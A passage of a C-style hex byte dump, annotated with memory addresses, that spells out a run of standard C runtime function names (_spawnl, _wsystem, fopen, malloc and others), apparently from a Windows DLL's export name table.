\"\\x72\\x69\\x6E\\x74\\x66\\x00\\x5F\\x73\\x63\\x77\\x70\\x72\\x69\\x6E\\x74\\x66\" // rintf._scwprintf\n/* 77C2C180 */ \"\\x00\\x5F\\x73\\x65\\x61\\x72\\x63\\x68\\x65\\x6E\\x76\\x00\\x5F\\x73\\x65\\x68\" // ._searchenv._seh\n/* 77C2C190 */ \"\\x5F\\x6C\\x6F\\x6E\\x67\\x6A\\x6D\\x70\\x5F\\x75\\x6E\\x77\\x69\\x6E\\x64\\x00\" // _longjmp_unwind.\n/* 77C2C1A0 */ \"\\x5F\\x73\\x65\\x74\\x5F\\x53\\x53\\x45\\x32\\x5F\\x65\\x6E\\x61\\x62\\x6C\\x65\" // _set_SSE2_enable\n/* 77C2C1B0 */ \"\\x00\\x5F\\x73\\x65\\x74\\x5F\\x65\\x72\\x72\\x6F\\x72\\x5F\\x6D\\x6F\\x64\\x65\" // ._set_error_mode\n/* 77C2C1C0 */ \"\\x00\\x5F\\x73\\x65\\x74\\x5F\\x73\\x62\\x68\\x5F\\x74\\x68\\x72\\x65\\x73\\x68\" // ._set_sbh_thresh\n/* 77C2C1D0 */ \"\\x6F\\x6C\\x64\\x00\\x5F\\x73\\x65\\x74\\x65\\x72\\x72\\x6F\\x72\\x6D\\x6F\\x64\" // old._seterrormod\n/* 77C2C1E0 */ \"\\x65\\x00\\x5F\\x73\\x65\\x74\\x6A\\x6D\\x70\\x00\\x5F\\x73\\x65\\x74\\x6A\\x6D\" // e._setjmp._setjm\n/* 77C2C1F0 */ \"\\x70\\x33\\x00\\x5F\\x73\\x65\\x74\\x6D\\x61\\x78\\x73\\x74\\x64\\x69\\x6F\\x00\" // p3._setmaxstdio.\n/* 77C2C200 */ \"\\x5F\\x73\\x65\\x74\\x6D\\x62\\x63\\x70\\x00\\x5F\\x73\\x65\\x74\\x6D\\x6F\\x64\" // _setmbcp._setmod\n/* 77C2C210 */ \"\\x65\\x00\\x5F\\x73\\x65\\x74\\x73\\x79\\x73\\x74\\x69\\x6D\\x65\\x00\\x5F\\x73\" // e._setsystime._s\n/* 77C2C220 */ \"\\x6C\\x65\\x65\\x70\\x00\\x5F\\x73\\x6E\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x5F\" // leep._snprintf._\n/* 77C2C230 */ \"\\x73\\x6E\\x73\\x63\\x61\\x6E\\x66\\x00\\x5F\\x73\\x6E\\x77\\x70\\x72\\x69\\x6E\" // snscanf._snwprin\n/* 77C2C240 */ \"\\x74\\x66\\x00\\x5F\\x73\\x6E\\x77\\x73\\x63\\x61\\x6E\\x66\\x00\\x5F\\x73\\x6F\" // tf._snwscanf._so\n/* 77C2C250 */ \"\\x70\\x65\\x6E\\x00\\x5F\\x73\\x70\\x61\\x77\\x6E\\x6C\\x00\\x5F\\x73\\x70\\x61\" // pen._spawnl._spa\n/* 77C2C260 */ \"\\x77\\x6E\\x6C\\x65\\x00\\x5F\\x73\\x70\\x61\\x77\\x6E\\x6C\\x70\\x00\\x5F\\x73\" // wnle._spawnlp._s\n/* 77C2C270 */ \"\\x70\\x61\\x77\\x6E\\x6C\\x70\\x65\\x00\\x5F\\x73\\x70\\x61\\x77\\x6E\\x76\\x00\" // pawnlpe._spawnv.\n/* 77C2C280 */ \"\\x5F\\x73\\x70\\x61\\x77\\x6E\\x76\\x65\\x00\\x5F\\x73\\x70\\x61\\x77\\x6E\\x76\" // _spawnve._spawnv\n/* 77C2C290 */ \"\\x70\\x00\\x5F\\x73\\x70\\x61\\x77\\x6E\\x76\\x70\\x65\\x00\\x5F\\x73\\x70\\x6C\" // p._spawnvpe._spl\n/* 77C2C2A0 */ \"\\x69\\x74\\x70\\x61\\x74\\x68\\x00\\x5F\\x73\\x74\\x61\\x74\\x00\\x5F\\x73\\x74\" // itpath._stat._st\n/* 77C2C2B0 */ \"\\x61\\x74\\x36\\x34\\x00\\x5F\\x73\\x74\\x61\\x74\\x69\\x36\\x34\\x00\\x5F\\x73\" // at64._stati64._s\n/* 77C2C2C0 */ \"\\x74\\x61\\x74\\x75\\x73\\x66\\x70\\x00\\x5F\\x73\\x74\\x72\\x63\\x6D\\x70\\x69\" // tatusfp._strcmpi\n/* 77C2C2D0 */ \"\\x00\\x5F\\x73\\x74\\x72\\x64\\x61\\x74\\x65\\x00\\x5F\\x73\\x74\\x72\\x64\\x75\" // ._strdate._strdu\n/* 77C2C2E0 */ \"\\x70\\x00\\x5F\\x73\\x74\\x72\\x65\\x72\\x72\\x6F\\x72\\x00\\x5F\\x73\\x74\\x72\" // p._strerror._str\n/* 77C2C2F0 */ \"\\x69\\x63\\x6D\\x70\\x00\\x5F\\x73\\x74\\x72\\x69\\x63\\x6F\\x6C\\x6C\\x00\\x5F\" // icmp._stricoll._\n/* 77C2C300 */ \"\\x73\\x74\\x72\\x6C\\x77\\x72\\x00\\x5F\\x73\\x74\\x72\\x6E\\x63\\x6F\\x6C\\x6C\" // strlwr._strncoll\n/* 77C2C310 */ \"\\x00\\x5F\\x73\\x74\\x72\\x6E\\x69\\x63\\x6D\\x70\\x00\\x5F\\x73\\x74\\x72\\x6E\" // ._strnicmp._strn\n/* 77C2C320 */ \"\\x69\\x63\\x6F\\x6C\\x6C\\x00\\x5F\\x73\\x74\\x72\\x6E\\x73\\x65\\x74\\x00\\x5F\" // icoll._strnset._\n/* 77C2C330 */ \"\\x73\\x74\\x72\\x72\\x65\\x76\\x00\\x5F\\x73\\x74\\x72\\x73\\x65\\x74\\x00\\x5F\" // strrev._strset._\n/* 77C2C340 */ \"\\x73\\x74\\x72\\x74\\x69\\x6D\\x65\\x00\\x5F\\x73\\x74\\x72\\x74\\x6F\\x69\\x36\" // strtime._strtoi6\n/* 77C2C350 */ \"\\x34\\x00\\x5F\\x73\\x74\\x72\\x74\\x6F\\x75\\x69\\x36\\x34\\x00\\x5F\\x73\\x74\" // 4._strtoui64._st\n/* 77C2C360 */ \"\\x72\\x75\\x70\\x72\\x00\\x5F\\x73\\x77\\x61\\x62\\x00\\x5F\\x73\\x79\\x73\\x5F\" // rupr._swab._sys_\n/* 77C2C370 */ \"\\x65\\x72\\x72\\x6C\\x69\\x73\\x74\\x00\\x5F\\x73\\x79\\x73\\x5F\\x6E\\x65\\x72\" // errlist._sys_ner\n/* 77C2C380 */ \"\\x72\\x00\\x5F\\x74\\x65\\x6C\\x6C\\x00\\x5F\\x74\\x65\\x6C\\x6C\\x69\\x36\\x34\" // r._tell._telli64\n/* 77C2C390 */ \"\\x00\\x5F\\x74\\x65\\x6D\\x70\\x6E\\x61\\x6D\\x00\\x5F\\x74\\x69\\x6D\\x65\\x36\" // ._tempnam._time6\n/* 77C2C3A0 */ \"\\x34\\x00\\x5F\\x74\\x69\\x6D\\x65\\x7A\\x6F\\x6E\\x65\\x00\\x5F\\x74\\x6F\\x6C\" // 4._timezone._tol\n/* 77C2C3B0 */ \"\\x6F\\x77\\x65\\x72\\x00\\x5F\\x74\\x6F\\x75\\x70\\x70\\x65\\x72\\x00\\x5F\\x74\" // ower._toupper._t\n/* 77C2C3C0 */ \"\\x7A\\x6E\\x61\\x6D\\x65\\x00\\x5F\\x74\\x7A\\x73\\x65\\x74\\x00\\x5F\\x75\\x69\" // zname._tzset._ui\n/* 77C2C3D0 */ \"\\x36\\x34\\x74\\x6F\\x61\\x00\\x5F\\x75\\x69\\x36\\x34\\x74\\x6F\\x77\\x00\\x5F\" // 64toa._ui64tow._\n/* 77C2C3E0 */ \"\\x75\\x6C\\x74\\x6F\\x61\\x00\\x5F\\x75\\x6C\\x74\\x6F\\x77\\x00\\x5F\\x75\\x6D\" // ultoa._ultow._um\n/* 77C2C3F0 */ \"\\x61\\x73\\x6B\\x00\\x5F\\x75\\x6E\\x67\\x65\\x74\\x63\\x68\\x00\\x5F\\x75\\x6E\" // ask._ungetch._un\n/* 77C2C400 */ \"\\x67\\x65\\x74\\x77\\x63\\x68\\x00\\x5F\\x75\\x6E\\x6C\\x69\\x6E\\x6B\\x00\\x5F\" // getwch._unlink._\n/* 77C2C410 */ \"\\x75\\x6E\\x6C\\x6F\\x61\\x64\\x64\\x6C\\x6C\\x00\\x5F\\x75\\x6E\\x6C\\x6F\\x63\" // unloaddll._unloc\n/* 77C2C420 */ \"\\x6B\\x00\\x5F\\x75\\x74\\x69\\x6D\\x65\\x00\\x5F\\x75\\x74\\x69\\x6D\\x65\\x36\" // k._utime._utime6\n/* 77C2C430 */ \"\\x34\\x00\\x5F\\x76\\x73\\x63\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x5F\\x76\\x73\" // 4._vscprintf._vs\n/* 77C2C440 */ \"\\x63\\x77\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x5F\\x76\\x73\\x6E\\x70\\x72\\x69\" // cwprintf._vsnpri\n/* 77C2C450 */ \"\\x6E\\x74\\x66\\x00\\x5F\\x76\\x73\\x6E\\x77\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\" // ntf._vsnwprintf.\n/* 77C2C460 */ \"\\x5F\\x77\\x61\\x63\\x63\\x65\\x73\\x73\\x00\\x5F\\x77\\x61\\x73\\x63\\x74\\x69\" // _waccess._wascti\n/* 77C2C470 */ \"\\x6D\\x65\\x00\\x5F\\x77\\x63\\x68\\x64\\x69\\x72\\x00\\x5F\\x77\\x63\\x68\\x6D\" // me._wchdir._wchm\n/* 77C2C480 */ \"\\x6F\\x64\\x00\\x5F\\x77\\x63\\x6D\\x64\\x6C\\x6E\\x00\\x5F\\x77\\x63\\x72\\x65\" // od._wcmdln._wcre\n/* 77C2C490 */ \"\\x61\\x74\\x00\\x5F\\x77\\x63\\x73\\x64\\x75\\x70\\x00\\x5F\\x77\\x63\\x73\\x65\" // at._wcsdup._wcse\n/* 77C2C4A0 */ \"\\x72\\x72\\x6F\\x72\\x00\\x5F\\x77\\x63\\x73\\x69\\x63\\x6D\\x70\\x00\\x5F\\x77\" // rror._wcsicmp._w\n/* 77C2C4B0 */ \"\\x63\\x73\\x69\\x63\\x6F\\x6C\\x6C\\x00\\x5F\\x77\\x63\\x73\\x6C\\x77\\x72\\x00\" // csicoll._wcslwr.\n/* 77C2C4C0 */ \"\\x5F\\x77\\x63\\x73\\x6E\\x63\\x6F\\x6C\\x6C\\x00\\x5F\\x77\\x63\\x73\\x6E\\x69\" // _wcsncoll._wcsni\n/* 77C2C4D0 */ \"\\x63\\x6D\\x70\\x00\\x5F\\x77\\x63\\x73\\x6E\\x69\\x63\\x6F\\x6C\\x6C\\x00\\x5F\" // cmp._wcsnicoll._\n/* 77C2C4E0 */ \"\\x77\\x63\\x73\\x6E\\x73\\x65\\x74\\x00\\x5F\\x77\\x63\\x73\\x72\\x65\\x76\\x00\" // wcsnset._wcsrev.\n/* 77C2C4F0 */ \"\\x5F\\x77\\x63\\x73\\x73\\x65\\x74\\x00\\x5F\\x77\\x63\\x73\\x74\\x6F\\x69\\x36\" // _wcsset._wcstoi6\n/* 77C2C500 */ \"\\x34\\x00\\x5F\\x77\\x63\\x73\\x74\\x6F\\x75\\x69\\x36\\x34\\x00\\x5F\\x77\\x63\" // 4._wcstoui64._wc\n/* 77C2C510 */ \"\\x73\\x75\\x70\\x72\\x00\\x5F\\x77\\x63\\x74\\x69\\x6D\\x65\\x00\\x5F\\x77\\x63\" // supr._wctime._wc\n/* 77C2C520 */ \"\\x74\\x69\\x6D\\x65\\x36\\x34\\x00\\x5F\\x77\\x65\\x6E\\x76\\x69\\x72\\x6F\\x6E\" // time64._wenviron\n/* 77C2C530 */ \"\\x00\\x5F\\x77\\x65\\x78\\x65\\x63\\x6C\\x00\\x5F\\x77\\x65\\x78\\x65\\x63\\x6C\" // ._wexecl._wexecl\n/* 77C2C540 */ \"\\x65\\x00\\x5F\\x77\\x65\\x78\\x65\\x63\\x6C\\x70\\x00\\x5F\\x77\\x65\\x78\\x65\" // e._wexeclp._wexe\n/* 77C2C550 */ \"\\x63\\x6C\\x70\\x65\\x00\\x5F\\x77\\x65\\x78\\x65\\x63\\x76\\x00\\x5F\\x77\\x65\" // clpe._wexecv._we\n/* 77C2C560 */ \"\\x78\\x65\\x63\\x76\\x65\\x00\\x5F\\x77\\x65\\x78\\x65\\x63\\x76\\x70\\x00\\x5F\" // xecve._wexecvp._\n/* 77C2C570 */ \"\\x77\\x65\\x78\\x65\\x63\\x76\\x70\\x65\\x00\\x5F\\x77\\x66\\x64\\x6F\\x70\\x65\" // wexecvpe._wfdope\n/* 77C2C580 */ \"\\x6E\\x00\\x5F\\x77\\x66\\x69\\x6E\\x64\\x66\\x69\\x72\\x73\\x74\\x00\\x5F\\x77\" // n._wfindfirst._w\n/* 77C2C590 */ \"\\x66\\x69\\x6E\\x64\\x66\\x69\\x72\\x73\\x74\\x36\\x34\\x00\\x5F\\x77\\x66\\x69\" // findfirst64._wfi\n/* 77C2C5A0 */ \"\\x6E\\x64\\x66\\x69\\x72\\x73\\x74\\x69\\x36\\x34\\x00\\x5F\\x77\\x66\\x69\\x6E\" // ndfirsti64._wfin\n/* 77C2C5B0 */ \"\\x64\\x6E\\x65\\x78\\x74\\x00\\x5F\\x77\\x66\\x69\\x6E\\x64\\x6E\\x65\\x78\\x74\" // dnext._wfindnext\n/* 77C2C5C0 */ \"\\x36\\x34\\x00\\x5F\\x77\\x66\\x69\\x6E\\x64\\x6E\\x65\\x78\\x74\\x69\\x36\\x34\" // 64._wfindnexti64\n/* 77C2C5D0 */ \"\\x00\\x5F\\x77\\x66\\x6F\\x70\\x65\\x6E\\x00\\x5F\\x77\\x66\\x72\\x65\\x6F\\x70\" // ._wfopen._wfreop\n/* 77C2C5E0 */ \"\\x65\\x6E\\x00\\x5F\\x77\\x66\\x73\\x6F\\x70\\x65\\x6E\\x00\\x5F\\x77\\x66\\x75\" // en._wfsopen._wfu\n/* 77C2C5F0 */ \"\\x6C\\x6C\\x70\\x61\\x74\\x68\\x00\\x5F\\x77\\x67\\x65\\x74\\x63\\x77\\x64\\x00\" // llpath._wgetcwd.\n/* 77C2C600 */ \"\\x5F\\x77\\x67\\x65\\x74\\x64\\x63\\x77\\x64\\x00\\x5F\\x77\\x67\\x65\\x74\\x65\" // _wgetdcwd._wgete\n/* 77C2C610 */ \"\\x6E\\x76\\x00\\x5F\\x77\\x69\\x6E\\x6D\\x61\\x6A\\x6F\\x72\\x00\\x5F\\x77\\x69\" // nv._winmajor._wi\n/* 77C2C620 */ \"\\x6E\\x6D\\x69\\x6E\\x6F\\x72\\x00\\x5F\\x77\\x69\\x6E\\x76\\x65\\x72\\x00\\x5F\" // nminor._winver._\n/* 77C2C630 */ \"\\x77\\x6D\\x61\\x6B\\x65\\x70\\x61\\x74\\x68\\x00\\x5F\\x77\\x6D\\x6B\\x64\\x69\" // wmakepath._wmkdi\n/* 77C2C640 */ \"\\x72\\x00\\x5F\\x77\\x6D\\x6B\\x74\\x65\\x6D\\x70\\x00\\x5F\\x77\\x6F\\x70\\x65\" // r._wmktemp._wope\n/* 77C2C650 */ \"\\x6E\\x00\\x5F\\x77\\x70\\x65\\x72\\x72\\x6F\\x72\\x00\\x5F\\x77\\x70\\x67\\x6D\" // n._wperror._wpgm\n/* 77C2C660 */ \"\\x70\\x74\\x72\\x00\\x5F\\x77\\x70\\x6F\\x70\\x65\\x6E\\x00\\x5F\\x77\\x70\\x75\" // ptr._wpopen._wpu\n/* 77C2C670 */ \"\\x74\\x65\\x6E\\x76\\x00\\x5F\\x77\\x72\\x65\\x6D\\x6F\\x76\\x65\\x00\\x5F\\x77\" // tenv._wremove._w\n/* 77C2C680 */ \"\\x72\\x65\\x6E\\x61\\x6D\\x65\\x00\\x5F\\x77\\x72\\x69\\x74\\x65\\x00\\x5F\\x77\" // rename._write._w\n/* 77C2C690 */ \"\\x72\\x6D\\x64\\x69\\x72\\x00\\x5F\\x77\\x73\\x65\\x61\\x72\\x63\\x68\\x65\\x6E\" // rmdir._wsearchen\n/* 77C2C6A0 */ \"\\x76\\x00\\x5F\\x77\\x73\\x65\\x74\\x6C\\x6F\\x63\\x61\\x6C\\x65\\x00\\x5F\\x77\" // v._wsetlocale._w\n/* 77C2C6B0 */ \"\\x73\\x6F\\x70\\x65\\x6E\\x00\\x5F\\x77\\x73\\x70\\x61\\x77\\x6E\\x6C\\x00\\x5F\" // sopen._wspawnl._\n/* 77C2C6C0 */ \"\\x77\\x73\\x70\\x61\\x77\\x6E\\x6C\\x65\\x00\\x5F\\x77\\x73\\x70\\x61\\x77\\x6E\" // wspawnle._wspawn\n/* 77C2C6D0 */ \"\\x6C\\x70\\x00\\x5F\\x77\\x73\\x70\\x61\\x77\\x6E\\x6C\\x70\\x65\\x00\\x5F\\x77\" // lp._wspawnlpe._w\n/* 77C2C6E0 */ \"\\x73\\x70\\x61\\x77\\x6E\\x76\\x00\\x5F\\x77\\x73\\x70\\x61\\x77\\x6E\\x76\\x65\" // spawnv._wspawnve\n/* 77C2C6F0 */ \"\\x00\\x5F\\x77\\x73\\x70\\x61\\x77\\x6E\\x76\\x70\\x00\\x5F\\x77\\x73\\x70\\x61\" // ._wspawnvp._wspa\n/* 77C2C700 */ \"\\x77\\x6E\\x76\\x70\\x65\\x00\\x5F\\x77\\x73\\x70\\x6C\\x69\\x74\\x70\\x61\\x74\" // wnvpe._wsplitpat\n/* 77C2C710 */ \"\\x68\\x00\\x5F\\x77\\x73\\x74\\x61\\x74\\x00\\x5F\\x77\\x73\\x74\\x61\\x74\\x36\" // h._wstat._wstat6\n/* 77C2C720 */ \"\\x34\\x00\\x5F\\x77\\x73\\x74\\x61\\x74\\x69\\x36\\x34\\x00\\x5F\\x77\\x73\\x74\" // 4._wstati64._wst\n/* 77C2C730 */ \"\\x72\\x64\\x61\\x74\\x65\\x00\\x5F\\x77\\x73\\x74\\x72\\x74\\x69\\x6D\\x65\\x00\" // rdate._wstrtime.\n/* 77C2C740 */ \"\\x5F\\x77\\x73\\x79\\x73\\x74\\x65\\x6D\\x00\\x5F\\x77\\x74\\x65\\x6D\\x70\\x6E\" // _wsystem._wtempn\n/* 77C2C750 */ \"\\x61\\x6D\\x00\\x5F\\x77\\x74\\x6D\\x70\\x6E\\x61\\x6D\\x00\\x5F\\x77\\x74\\x6F\" // am._wtmpnam._wto\n/* 77C2C760 */ \"\\x66\\x00\\x5F\\x77\\x74\\x6F\\x69\\x00\\x5F\\x77\\x74\\x6F\\x69\\x36\\x34\\x00\" // f._wtoi._wtoi64.\n/* 77C2C770 */ \"\\x5F\\x77\\x74\\x6F\\x6C\\x00\\x5F\\x77\\x75\\x6E\\x6C\\x69\\x6E\\x6B\\x00\\x5F\" // _wtol._wunlink._\n/* 77C2C780 */ \"\\x77\\x75\\x74\\x69\\x6D\\x65\\x00\\x5F\\x77\\x75\\x74\\x69\\x6D\\x65\\x36\\x34\" // wutime._wutime64\n/* 77C2C790 */ \"\\x00\\x5F\\x79\\x30\\x00\\x5F\\x79\\x31\\x00\\x5F\\x79\\x6E\\x00\\x61\\x62\\x6F\" // ._y0._y1._yn.abo\n/* 77C2C7A0 */ \"\\x72\\x74\\x00\\x61\\x62\\x73\\x00\\x61\\x63\\x6F\\x73\\x00\\x61\\x73\\x63\\x74\" // rt.abs.acos.asct\n/* 77C2C7B0 */ \"\\x69\\x6D\\x65\\x00\\x61\\x73\\x69\\x6E\\x00\\x61\\x74\\x61\\x6E\\x00\\x61\\x74\" // ime.asin.atan.at\n/* 77C2C7C0 */ \"\\x61\\x6E\\x32\\x00\\x61\\x74\\x65\\x78\\x69\\x74\\x00\\x61\\x74\\x6F\\x66\\x00\" // an2.atexit.atof.\n/* 77C2C7D0 */ \"\\x61\\x74\\x6F\\x69\\x00\\x61\\x74\\x6F\\x6C\\x00\\x62\\x73\\x65\\x61\\x72\\x63\" // atoi.atol.bsearc\n/* 77C2C7E0 */ \"\\x68\\x00\\x63\\x61\\x6C\\x6C\\x6F\\x63\\x00\\x63\\x65\\x69\\x6C\\x00\\x63\\x6C\" // h.calloc.ceil.cl\n/* 77C2C7F0 */ \"\\x65\\x61\\x72\\x65\\x72\\x72\\x00\\x63\\x6C\\x6F\\x63\\x6B\\x00\\x63\\x6F\\x73\" // earerr.clock.cos\n/* 77C2C800 */ \"\\x00\\x63\\x6F\\x73\\x68\\x00\\x63\\x74\\x69\\x6D\\x65\\x00\\x64\\x69\\x66\\x66\" // .cosh.ctime.diff\n/* 77C2C810 */ \"\\x74\\x69\\x6D\\x65\\x00\\x64\\x69\\x76\\x00\\x65\\x78\\x69\\x74\\x00\\x65\\x78\" // time.div.exit.ex\n/* 77C2C820 */ \"\\x70\\x00\\x66\\x61\\x62\\x73\\x00\\x66\\x63\\x6C\\x6F\\x73\\x65\\x00\\x66\\x65\" // p.fabs.fclose.fe\n/* 77C2C830 */ \"\\x6F\\x66\\x00\\x66\\x65\\x72\\x72\\x6F\\x72\\x00\\x66\\x66\\x6C\\x75\\x73\\x68\" // of.ferror.fflush\n/* 77C2C840 */ \"\\x00\\x66\\x67\\x65\\x74\\x63\\x00\\x66\\x67\\x65\\x74\\x70\\x6F\\x73\\x00\\x66\" // .fgetc.fgetpos.f\n/* 77C2C850 */ \"\\x67\\x65\\x74\\x73\\x00\\x66\\x67\\x65\\x74\\x77\\x63\\x00\\x66\\x67\\x65\\x74\" // gets.fgetwc.fget\n/* 77C2C860 */ \"\\x77\\x73\\x00\\x66\\x6C\\x6F\\x6F\\x72\\x00\\x66\\x6D\\x6F\\x64\\x00\\x66\\x6F\" // ws.floor.fmod.fo\n/* 77C2C870 */ \"\\x70\\x65\\x6E\\x00\\x66\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x66\\x70\\x75\\x74\" // pen.fprintf.fput\n/* 77C2C880 */ \"\\x63\\x00\\x66\\x70\\x75\\x74\\x73\\x00\\x66\\x70\\x75\\x74\\x77\\x63\\x00\\x66\" // c.fputs.fputwc.f\n/* 77C2C890 */ \"\\x70\\x75\\x74\\x77\\x73\\x00\\x66\\x72\\x65\\x61\\x64\\x00\\x66\\x72\\x65\\x65\" // putws.fread.free\n/* 77C2C8A0 */ \"\\x00\\x66\\x72\\x65\\x6F\\x70\\x65\\x6E\\x00\\x66\\x72\\x65\\x78\\x70\\x00\\x66\" // .freopen.frexp.f\n/* 77C2C8B0 */ \"\\x73\\x63\\x61\\x6E\\x66\\x00\\x66\\x73\\x65\\x65\\x6B\\x00\\x66\\x73\\x65\\x74\" // scanf.fseek.fset\n/* 77C2C8C0 */ \"\\x70\\x6F\\x73\\x00\\x66\\x74\\x65\\x6C\\x6C\\x00\\x66\\x77\\x70\\x72\\x69\\x6E\" // pos.ftell.fwprin\n/* 77C2C8D0 */ \"\\x74\\x66\\x00\\x66\\x77\\x72\\x69\\x74\\x65\\x00\\x66\\x77\\x73\\x63\\x61\\x6E\" // tf.fwrite.fwscan\n/* 77C2C8E0 */ \"\\x66\\x00\\x67\\x65\\x74\\x63\\x00\\x67\\x65\\x74\\x63\\x68\\x61\\x72\\x00\\x67\" // f.getc.getchar.g\n/* 77C2C8F0 */ \"\\x65\\x74\\x65\\x6E\\x76\\x00\\x67\\x65\\x74\\x73\\x00\\x67\\x65\\x74\\x77\\x63\" // etenv.gets.getwc\n/* 77C2C900 */ \"\\x00\\x67\\x65\\x74\\x77\\x63\\x68\\x61\\x72\\x00\\x67\\x6D\\x74\\x69\\x6D\\x65\" // .getwchar.gmtime\n/* 77C2C910 */ \"\\x00\\x69\\x73\\x5F\\x77\\x63\\x74\\x79\\x70\\x65\\x00\\x69\\x73\\x61\\x6C\\x6E\" // .is_wctype.isaln\n/* 77C2C920 */ \"\\x75\\x6D\\x00\\x69\\x73\\x61\\x6C\\x70\\x68\\x61\\x00\\x69\\x73\\x63\\x6E\\x74\" // um.isalpha.iscnt\n/* 77C2C930 */ \"\\x72\\x6C\\x00\\x69\\x73\\x64\\x69\\x67\\x69\\x74\\x00\\x69\\x73\\x67\\x72\\x61\" // rl.isdigit.isgra\n/* 77C2C940 */ \"\\x70\\x68\\x00\\x69\\x73\\x6C\\x65\\x61\\x64\\x62\\x79\\x74\\x65\\x00\\x69\\x73\" // ph.isleadbyte.is\n/* 77C2C950 */ \"\\x6C\\x6F\\x77\\x65\\x72\\x00\\x69\\x73\\x70\\x72\\x69\\x6E\\x74\\x00\\x69\\x73\" // lower.isprint.is\n/* 77C2C960 */ \"\\x70\\x75\\x6E\\x63\\x74\\x00\\x69\\x73\\x73\\x70\\x61\\x63\\x65\\x00\\x69\\x73\" // punct.isspace.is\n/* 77C2C970 */ \"\\x75\\x70\\x70\\x65\\x72\\x00\\x69\\x73\\x77\\x61\\x6C\\x6E\\x75\\x6D\\x00\\x69\" // upper.iswalnum.i\n/* 77C2C980 */ \"\\x73\\x77\\x61\\x6C\\x70\\x68\\x61\\x00\\x69\\x73\\x77\\x61\\x73\\x63\\x69\\x69\" // swalpha.iswascii\n/* 77C2C990 */ \"\\x00\\x69\\x73\\x77\\x63\\x6E\\x74\\x72\\x6C\\x00\\x69\\x73\\x77\\x63\\x74\\x79\" // .iswcntrl.iswcty\n/* 77C2C9A0 */ \"\\x70\\x65\\x00\\x69\\x73\\x77\\x64\\x69\\x67\\x69\\x74\\x00\\x69\\x73\\x77\\x67\" // pe.iswdigit.iswg\n/* 77C2C9B0 */ \"\\x72\\x61\\x70\\x68\\x00\\x69\\x73\\x77\\x6C\\x6F\\x77\\x65\\x72\\x00\\x69\\x73\" // raph.iswlower.is\n/* 77C2C9C0 */ \"\\x77\\x70\\x72\\x69\\x6E\\x74\\x00\\x69\\x73\\x77\\x70\\x75\\x6E\\x63\\x74\\x00\" // wprint.iswpunct.\n/* 77C2C9D0 */ \"\\x69\\x73\\x77\\x73\\x70\\x61\\x63\\x65\\x00\\x69\\x73\\x77\\x75\\x70\\x70\\x65\" // iswspace.iswuppe\n/* 77C2C9E0 */ \"\\x72\\x00\\x69\\x73\\x77\\x78\\x64\\x69\\x67\\x69\\x74\\x00\\x69\\x73\\x78\\x64\" // r.iswxdigit.isxd\n/* 77C2C9F0 */ \"\\x69\\x67\\x69\\x74\\x00\\x6C\\x61\\x62\\x73\\x00\\x6C\\x64\\x65\\x78\\x70\\x00\" // igit.labs.ldexp.\n/* 77C2CA00 */ \"\\x6C\\x64\\x69\\x76\\x00\\x6C\\x6F\\x63\\x61\\x6C\\x65\\x63\\x6F\\x6E\\x76\\x00\" // ldiv.localeconv.\n/* 77C2CA10 */ \"\\x6C\\x6F\\x63\\x61\\x6C\\x74\\x69\\x6D\\x65\\x00\\x6C\\x6F\\x67\\x00\\x6C\\x6F\" // localtime.log.lo\n/* 77C2CA20 */ \"\\x67\\x31\\x30\\x00\\x6C\\x6F\\x6E\\x67\\x6A\\x6D\\x70\\x00\\x6D\\x61\\x6C\\x6C\" // g10.longjmp.mall\n/* 77C2CA30 */ \"\\x6F\\x63\\x00\\x6D\\x62\\x6C\\x65\\x6E\\x00\\x6D\\x62\\x73\\x74\\x6F\\x77\\x63\" // oc.mblen.mbstowc\n/* 77C2CA40 */ \"\\x73\\x00\\x6D\\x62\\x74\\x6F\\x77\\x63\\x00\\x6D\\x65\\x6D\\x63\\x68\\x72\\x00\" // s.mbtowc.memchr.\n/* 77C2CA50 */ \"\\x6D\\x65\\x6D\\x63\\x6D\\x70\\x00\\x6D\\x65\\x6D\\x63\\x70\\x79\\x00\\x6D\\x65\" // memcmp.memcpy.me\n/* 77C2CA60 */ \"\\x6D\\x6D\\x6F\\x76\\x65\\x00\\x6D\\x65\\x6D\\x73\\x65\\x74\\x00\\x6D\\x6B\\x74\" // mmove.memset.mkt\n/* 77C2CA70 */ \"\\x69\\x6D\\x65\\x00\\x6D\\x6F\\x64\\x66\\x00\\x70\\x65\\x72\\x72\\x6F\\x72\\x00\" // ime.modf.perror.\n/* 77C2CA80 */ \"\\x70\\x6F\\x77\\x00\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x70\\x75\\x74\\x63\\x00\" // pow.printf.putc.\n/* 77C2CA90 */ \"\\x70\\x75\\x74\\x63\\x68\\x61\\x72\\x00\\x70\\x75\\x74\\x73\\x00\\x70\\x75\\x74\" // putchar.puts.put\n/* 77C2CAA0 */ \"\\x77\\x63\\x00\\x70\\x75\\x74\\x77\\x63\\x68\\x61\\x72\\x00\\x71\\x73\\x6F\\x72\" // wc.putwchar.qsor\n/* 77C2CAB0 */ \"\\x74\\x00\\x72\\x61\\x69\\x73\\x65\\x00\\x72\\x61\\x6E\\x64\\x00\\x72\\x65\\x61\" // t.raise.rand.rea\n/* 77C2CAC0 */ \"\\x6C\\x6C\\x6F\\x63\\x00\\x72\\x65\\x6D\\x6F\\x76\\x65\\x00\\x72\\x65\\x6E\\x61\" // lloc.remove.rena\n/* 77C2CAD0 */ \"\\x6D\\x65\\x00\\x72\\x65\\x77\\x69\\x6E\\x64\\x00\\x73\\x63\\x61\\x6E\\x66\\x00\" // me.rewind.scanf.\n/* 77C2CAE0 */ \"\\x73\\x65\\x74\\x62\\x75\\x66\\x00\\x73\\x65\\x74\\x6C\\x6F\\x63\\x61\\x6C\\x65\" // setbuf.setlocale\n/* 77C2CAF0 */ \"\\x00\\x73\\x65\\x74\\x76\\x62\\x75\\x66\\x00\\x73\\x69\\x67\\x6E\\x61\\x6C\\x00\" // .setvbuf.signal.\n/* 77C2CB00 */ \"\\x73\\x69\\x6E\\x00\\x73\\x69\\x6E\\x68\\x00\\x73\\x70\\x72\\x69\\x6E\\x74\\x66\" // sin.sinh.sprintf\n/* 77C2CB10 */ \"\\x00\\x73\\x71\\x72\\x74\\x00\\x73\\x72\\x61\\x6E\\x64\\x00\\x73\\x73\\x63\\x61\" // .sqrt.srand.ssca\n/* 77C2CB20 */ 